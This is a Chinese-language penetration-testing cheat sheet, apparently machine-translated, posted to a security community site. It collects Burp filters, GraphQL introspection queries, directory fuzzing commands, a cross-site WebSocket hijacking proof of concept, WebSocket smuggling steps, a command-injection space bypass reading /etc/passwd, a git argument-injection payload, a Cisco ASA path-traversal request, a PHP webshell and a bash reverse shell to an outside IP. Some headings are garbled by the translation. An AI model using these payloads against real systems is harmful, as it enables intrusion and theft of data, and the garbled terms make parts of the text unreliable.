一些规则可以避免在您使用 Firefox 时提供更开放范围的真正令人讨厌的网站。

{
    "boolean_operator":"and",
    "enabled":true,
    "match_condition":".*getpocket.*",
    "match_relationship":"does_not_match",
    "match_type":"domain_name"
},
{
    "boolean_operator":"and",
    "enabled":true,
    "match_condition":".*mozilla.*",
    "match_relationship":"does_not_match",
    "match_type":"domain_name"
}

扩展

记录器++

过滤以仅显示 burp 扩展器的输出:

TOOL == "extender"

过滤以显示状态为 200 的扩展器的输出:

TOOL == "extender" && STATUS == "200"

按主机过滤,显示状态为 200 或 400 且 mimetype 不是 HTML 的扩展程序的输出:

HOST == "https://target.com" && TOOL == "Extender" && (STATUS == "200" || STATUS == "400") && MIMETYPE != "HTML"

Google dork 查找 bug 提交

site:hackerone.com inurl:/reports/ "<vulnerability>"

例如:

site:hackerone.com inurl:/reports/ "ssrf"
site:hackerone.com inurl:/reports/ "server-side request forgery"

资源: https //medium.com/swlh/ssrf-in-the-wild-e2c598900434

用于测试的临时电子邮件

https://temp-mail.org/

用 Firefox 打开一个充满 url 的文件

firefox $(cat file.txt)

资源: https //superuser.com/questions/385207/how-to-open-a-list-of-urls-in-firefox-or-seamonkey

测试 Solr

检查此处列出的漏洞(提供了易受攻击的版本范围):https : //github.com/veracode-research/solr-injection

这条推文有一些很好的信息。

这篇文章非常适合专门针对 CVE-2013-6397(影响 1.3 – 4.1 或 4.3.1)的信息:https ://www.agarri.fr/blog/archives/2013/11/27/compromising_an_unreachable_solr_server_with_cve-2013-639索引.html

图形语言

首先使用自省来枚举存储在 GraphQL 数据库中的信息。有较旧的内省查询和现代内省查询。较新的查询不向后兼容。

较旧的查询示例


  query IntrospectionQuery {
    __schema {
      queryType { name }
      mutationType { name }
      subscriptionType { name }
      types {
        ...FullType
      }
      directives {
        name
        description
        args {
          ...InputValue
        }
        onOperation
        onFragment
        onField
      }
    }
  }

  fragment FullType on __Type {
    kind
    name
    description
    fields(includeDeprecated: true) {
      name
      description
      args {
        ...InputValue
      }
      type {
        ...TypeRef
      }
      isDeprecated
      deprecationReason
    }
    inputFields {
      ...InputValue
    }
    interfaces {
      ...TypeRef
    }
    enumValues(includeDeprecated: true) {
      name
      description
      isDeprecated
      deprecationReason
    }
    possibleTypes {
      ...TypeRef
    }
  }

  fragment InputValue on __InputValue {
    name
    description
    type { ...TypeRef }
    defaultValue
  }

  fragment TypeRef on __Type {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
        }
      }
    }
  }

资源: https //gist.githubusercontent.com/craigbeck/b90915d49fda19d5b2b17ead14dcd6da/raw/e50819812a7a8a95b303ac0ea1464e2679e3e4bc/introspection-query.graph

较新的查询示例

query IntrospectionQuery {
    __schema {
      queryType { name }
      mutationType { name }
      subscriptionType { name }
      types {
        ...FullType
      }
      directives {
        name
        description
        args {
          ...InputValue
        }
        locations
      }
    }
  }

  fragment FullType on __Type {
    kind
    name
    description
    fields(includeDeprecated: true) {
      name
      description
      args {
        ...InputValue
      }
      type {
        ...TypeRef
      }
      isDeprecated
      deprecationReason
    }
    inputFields {
      ...InputValue
    }
    interfaces {
      ...TypeRef
    }
    enumValues(includeDeprecated: true) {
      name
      description
      isDeprecated
      deprecationReason
    }
    possibleTypes {
      ...TypeRef
    } 
  }   
      
  fragment InputValue on __InputValue {
    name
    description
    type { ...TypeRef }
    defaultValue
  }     
        
  fragment TypeRef on __Type {
    kind
    name
    ofType {
      kind
      name
      ofType {
        kind
        name
        ofType {
          kind
          name
        }
      }
    } 
  }   

资源: https //github.com/graphql/graphql-js/issues/515

工具

该工具可用于自动对 GraphQL 进行多种攻击。 还进行了burp 扩展以与 GraphQL 交互。

资源: https //prog.world/pentest-applications-with-graphql/ https://www.slideshare.net/DivyanshuShukla8/pentest-application-with-graphql-null-bangalore-meetup

使用 ffuf 和 SecLists 进行目录枚举

./ffuf -u http://target.com/FUZZ -w wordlists/SecLists/Discovery/Web-Content/big.txt
./ffuf -u http://target.com/FUZZ -w wordlists/SecLists/Discovery/Web-Content/raft-large-directories-lowercase.txt

资源: https //hackerone.com/reports/514664

在github上搜索秘密

这将在代码中寻找对 evil.com 和 api 的提及:https : //github.com/search? q =% 22evil.com%22+%22api%22&type = Code

不在 github 中(这会发现提到 evil.com、api 和 v1,但排除没有“hello world”的存储库):

"evil.com" "api" "v1" NOT "hello world"

网络套接字

WebSockets 促进异步通信。

使用 burp 中的 websocket 选项卡来操作 websocket 消息。您可以测试 SQLi、XXE、XSS 等漏洞。

发现

  • 查找升级请求
  • 查看 JavaScript 文件
  • 只需尝试与站点中的每个 URL 端点建立 WebSocket 连接

跨站 WebSocket 劫持

请记住以下几点:

  • SOP 不适用于 Web 浏览器中的 WebSockets
    • 自由读写 WebSocket 跨域
  • 在初始握手期间应检查 Origin 标头
    • 浏览器会自动将 Origin 标头放入升级请求中,目前还没有已知的方法可以欺骗它

当 Cookie 用于验证 WebSocket 升级请求,并且在服务器端(或根本没有)正确检查 Header Origin 时,这种类型的攻击是可能的。

  • CORS 错误配置滥用是可能的。

将以下内容放入一个 html 文件中以进行快速 POC:

<iframe src="data:text/html,<script>const socket = new WebSocket('wss://yourtarget.com');</script>"></iframe>

更广泛的 POC:

<!DOCTYPE HTML>
<html>
<!-- Shamelessly ripped off from https://www.youtube.com/watch?v=gANzRo7UHt8 -->
<!-- Mikhail Egorov is the original author-->

<head>
    <script type="text/javascript">
        function WebSocketConnect() {
            var params = new URLSearchParams(window.location.search);

            if ("WebSocket" in window) {
                var ws = new WebSocket("wss://yourtarget.com/endpoint");
                // For example:
                // var ws = new WebSocket("wss://acf51f291fafc47380c9234c0040009b.web-security-academy.net/chat");
                // Send something to the server over a WebSocket connection
                ws.onopen = function () {
                    // You will probably need to modify this depending on what the target server is expecting
                    data = "READY";
                    ws.send(data);
                };

                // Show data that we receive
                ws.onmessage = function (evt) {
                    var received_msg = evt.data;
                    document.getElementById("demo").innerHTML = document.getElementById("demo").innerHTML + '\n' + received_msg;
                };

                ws.onclose = function () {
                    alert("Connection has been closed");
                };
            } else {
                alert("WebSockets are not supported by your Browser");
            }
        }
    </script>
</head>

<body>
    <script>WebSocketConnect()</script>
    <h2>Received:</h2>
    <textarea cols="140" rows="50" id="demo"></textarea>
</body>

</html>

可以使用此处找到的练习来测试上述代码。在这种情况下,当您让受害者使用上述代码导航到托管的 HTML 页面时,受害者的聊天记录将泄露给攻击者。

验证

  • 默认情况下不提供身份验证机制;这取决于开发人员
  • 因为 WebSocket 协议是有状态的,所以最好在握手步骤中检查身份验证
    • 不需要在客户端发送到服务器的每条消息中包含身份验证令牌
  • 身份验证通常通过会话 cookie 或令牌来促进

需要寻找的东西:

  • 升级请求需要 ID
    • 此 ID 代表用户或租户
    • 尝试猜测另一个用户或租户的 ID(类似于 IDOR 的概念)
    • 尝试泄露ID
  • 握手过程中不进行身份验证,但后续消息需要一个 ID
    • 尝试猜测另一个用户或租户的 ID(类似于 IDOR 的概念)
    • 尝试泄露ID

通过 WebSockets 走私

这种类型的攻击与使用反向代理的站点结合使用。这个想法是使用 WebSocket 来访问未对外公开的端点。

Sec-WebSocket-VersionHTTP 设置为错误的版本号,即 1337 而不是 13:

Sec-WebSocket-Version: 1337
  • 促进连接的反向代理会将请求传递给后端,后端会因协议版本错误而拒绝升级请求。
  • 如果代理无法验证状态代码和其他响应标头,它将在后端和客户端之间保持 TLS 连接打开,同时相信 WebSocket 连接已建立。
  • 然后客户端可以尝试通过 TLS 连接访问内部端点:屏幕截图 2020-04-29-at-1.14.37-PM

值得注意的是,以下代理不易受此影响:

  • nginx
  • 代理
  • 特拉菲克

如果您面临不易受到攻击的反向代理,我们仍然可以遵循潜在的攻击路径。请注意,这需要一个额外的漏洞,即面向外部的 SSRF。

在这种情况下,有一个反向代理和一个后端服务器。后端服务器有一个公共 WebSocket API 和一个公共 REST API,用于检查端点的健康状况(在参数中指定)。公共 API 端点将返回参数中指定的 taret 的状态码,并返回其状态码。它还具有攻击者希望能够查询的私有 API 端点。

  • 向公共 REST API 发送请求并包含一个Upgrade: websocket标头和一个端点来“检查 heatlh”
    • 这将导致反向代理相信它收到了来自客户端的升级请求
    • 这将传递给后端,后端将依次调用公共 REST API 来检查发送的初始请求中指定的端点的运行状况
    • 攻击者指定的端点应该返回一个HTTP/1.1 101(他们必须建立一个流氓站点来执行此操作):屏幕截图 2020-04-29-at-2.09.55-PM屏幕截图 2020-04-29-at-2.24.32-PM
    • 这反过来会导致客户端收到HTTP/1.1 101反向代理的回复(它认为客户端与后端建立了 WebSocket 连接)
  • 在等待额外的 WebSocket 帧时,反向代理将与后端保持打开的 TLS 连接
    • 此时它只会在客户端和后端服务器之间传递数据
  • 客户端可以使用它向内部端点发送 GET 请求:屏幕截图 2020-04-29-at-1.45.09-PM-1

可以使用此资源来练习这些技术。

资源: https //www.youtube.com/watch gANzRo7UHt8 https://portswigger.net/web-security/websockets

再生能源认证

命令注入绕过 %20

如果你有一个 RCE 并且你不能在那里得到空格,因为它们变成了%20,试试这个:

cat$IFS/etc/passwd

资源: https //en.wikipedia.org/wiki/Internal_field_separator# :~: text=For%20many%20command%20line%20interpreters,%2C%20tab%2C%20and%20the%20newline

吉特

如果您遇到允许您与 git repo 交互的应用程序,请尝试以下操作:

  1. 输入-v目标 url 并查看是否在输出中获得命令行开关作为错误消息的一部分
  2. 如果您确实获得了命令行开关,请尝试使用此有效负载作为 url:
--upload-pack="`id`"

资源: https //iwantmore.pizza/posts/cve-2019-10392.html https://staaldraad.github.io/post/2019-07-16-cve-2019-13139-docker-build/

PHP

基本的 PHP Webshel​​l

webshell.php

<?php if(isset($_REQUEST['cmd'])){ echo "<pre>"; $cmd = ($_REQUEST['cmd']); system($cmd); echo "</pre>"; die; }?>

基本反向外壳

<?php
exec("/bin/bash -c 'bash -i > /dev/tcp/192.168.1.2/4444 0>&1'");
?>

资源: https //gist.github.com/rshipp/eee36684db07d234c1cc

php中的匿名函数RCE

$inputFunc = function() use($a, $b, $c, &$f){echo(exec('whoami'));};

PHP 实验

如果你需要测试一些 php 代码,使用 docker: Dockerfile:

FROM php:7.0-apache

COPY src/ /var/www/html
COPY php.conf /etc/apache2/conf-enabled

RUN mkdir -p /var/www/html/uploads && \
    chmod 0777 /var/www/html/uploads

EXPOSE 80

php.conf

<FilesMatch \.php$>
	SetHandler application/x-httpd-php
</FilesMatch>

DirectoryIndex index.php index.html

<Directory />
	Options +Indexes
	AllowOverride All
    Order allow,deny
    Allow from all
</Directory>

docker-compose.yml

version: "3.9"
services:
  web:
    build:
      context: .
      dockerfile: Dockerfile
    ports:
      - "80:80"

将您的代码添加到 src 文件夹并运行以下命令以启动网络服务器:

docker-compose up -d --build

PHP交互式外壳

php -a

索引数据库

这是您可能遇到的多种存储数据的方法之一。它是一个基于 JavaScript 的面向对象的数据库,可用于存储大量结构化数据。

资源: https //developer.mozilla.org/en-US/docs/Web/API/IndexedDB_API

CVE-2020-3452

如果您在搜索时遇到 Cisco ASA,请试一试,看看您是否可以访问文件系统上的文件:

/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name=%2bCSCOE%2b/portal_inc.lua

可以在此处找到有关此问题解决方案的信息。

资源: https://twitter.com/aboul3la/status/1286012324722155525?ref_src=twsrc%5Etfw%7Ctwcamp%5Etweetembed%7Ctwterm%5E1286012324722155525%7Ctwgr%5E&ref_url=https%3A%2F%2Fmeterpreter.org%2Fcve-2020-3452- cisco-asa-ftd-arbitrary-file-reading-vulnerability-alert%2F

带有打嗝的蛮力基本身份验证

  1. 捕获发往目标的请求并将其发送给入侵者
  2. 突出显示 Base 64
  3. 单击有效负载
  4. Payload Sets 下,将Payload type:设置为Custom iterator
  5. Payload Options 下,加载您要尝试的用户名列表
  6. 位置 1 的分隔符下,输入:
  7. 将位置更改为 2
  8. 加载您要尝试的密码列表
  9. Payload Processing 下,单击Add
  10. 从下拉菜单中,单击编码
  11. 在出现的第二个下拉菜单中,单击Base64-encode
  12. 单击确定
  13. Payload Encoding 下,删除=
  14. 点击开始攻击

资源: https //securityonline.info/use-burp-suite-brute-force-http-basic-authentication/

细胞核

安装

GO111MODULE=on go get -v github.com/projectdiscovery/nuclei/v2/cmd/nuclei

更新模板

nuclei -ut

使用特定模板

nuclei -u https://target.xyz:8443 -t ~/nuclei-templates/cves/2021/CVE-2021-21315.yaml

通过堡垒测试应用程序

此方法使用 burp 的 SOCKS 代理功能来帮助测试可通过堡垒主机访问的服务器。

首先通过 SSH 连接到堡垒主机并指定要用于 SOCKS 代理的端口:

ssh -C -D 8085 username@bastion

接下来,单击User options 选项卡 -> Connections然后像这样配置 Burp 的 SOCKS 代理:

屏幕截图 2021-05-06-at-9.17.24-PM

资源: https //medium.com/@mccabe615/proxying-burp-traffic-e6e7a8adc101

2022010117510479

本文来自投稿,不代表安强科技社区立场,如若转载,请注明出处:https://community.anqiangkj.com/archives/2121

(0)
打赏 微信扫一扫 微信扫一扫 支付宝扫一扫 支付宝扫一扫
上一篇 2022年1月2日 上午1:51
下一篇 2022年1月2日 上午3:13

相关推荐

发表回复

您的电子邮箱地址不会被公开。